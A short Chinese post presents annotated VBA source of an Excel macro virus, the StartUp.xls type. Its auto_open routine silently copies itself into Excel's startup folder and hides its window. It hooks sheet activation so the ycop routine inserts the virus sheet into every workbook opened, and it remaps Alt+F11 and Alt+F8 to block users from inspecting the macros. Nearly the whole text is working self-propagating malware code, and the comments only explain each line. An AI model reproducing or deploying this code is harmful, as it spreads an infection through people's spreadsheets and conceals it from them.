
这是宏病毒用的部分代码。注释如下:Sub auto_open() On Error Resume Next '开启错误处理, 当遇到错误时不提示并跳到下一行继续执行 If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then '如果本工作薄的路径等于启动文件夹序的路径并且用DIR返回该目录下的StartUp.xls文件获得的字符串不等于空的话(意思是查找该目录下有没有这样一个文件名,有的话说明文件存在,否则说明文件不存在),那么 Application.ScreenUpdating = False '关闭屏幕更新 ThisWorkbook.Sheets("StartUp").Copy '本工作薄中名为"StartUp"的工作表 进行复制 ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "StartUp.xls") '活动工作簿 另存为 (地址和文件名) n$ = ActiveWorkbook.Name '文本型变量n = 活动工作簿的名字 ActiveWindow.Visible = False '隐藏活动窗口 Workbooks("StartUp.xls").Save '保存名为StartUp.xls的工作簿 'Workbooks(n$).Close (False) '关闭名为变量n的工作簿, 即使工作簿内容有改动也不提示保存 End If '结束if块 Application.OnSheetActivate = "StartUp.xls!ycop" '当工作表被激活时(比如你切换到sheet1这个过程就是激活了sheet1)运行工作簿StartUp.xls中名为ycop的子过程(就是叫做ycop的那段代码) Application.OnKey "%{F11}", "StartUp.xls!escape" '当按ALT+F11键时运行工作簿StartUp.xls中名为escape的子过程(就是叫做escape的那段代码) Application.OnKey "%{F8}", "StartUp.xls!escape" '当按ALT+F8键时运行工作簿StartUp.xls中名为escape的子过程(就是叫做escape的那段代码)End Sub Sub ycop() '名为ycop的子过程 On Error Resume Next '开启错误处理, 当遇到错误时不提示并跳到下一行继续执行 If ActiveWorkbook.Sheets(1).Name <> "StartUp" Then '如果活动工作簿的第一个sheet名字不等于StartUp 那么 Application.ScreenUpdating = False '关闭屏幕更新,这样就看不到程序在工作簿内做了什么。 n$ = ActiveSheet.Name '把活动工作表的名字赋值给变量文本变量n Workbooks("StartUp.xls").Sheets("StartUp").Copy before:=Worksheets(1) '把工作簿StartUp.xls中名为StartUp的工作表 复制到 第一个工作表之前 (也就是把StartUp这个表移动到最左边) End If '结束if块End Sub '结束子过程
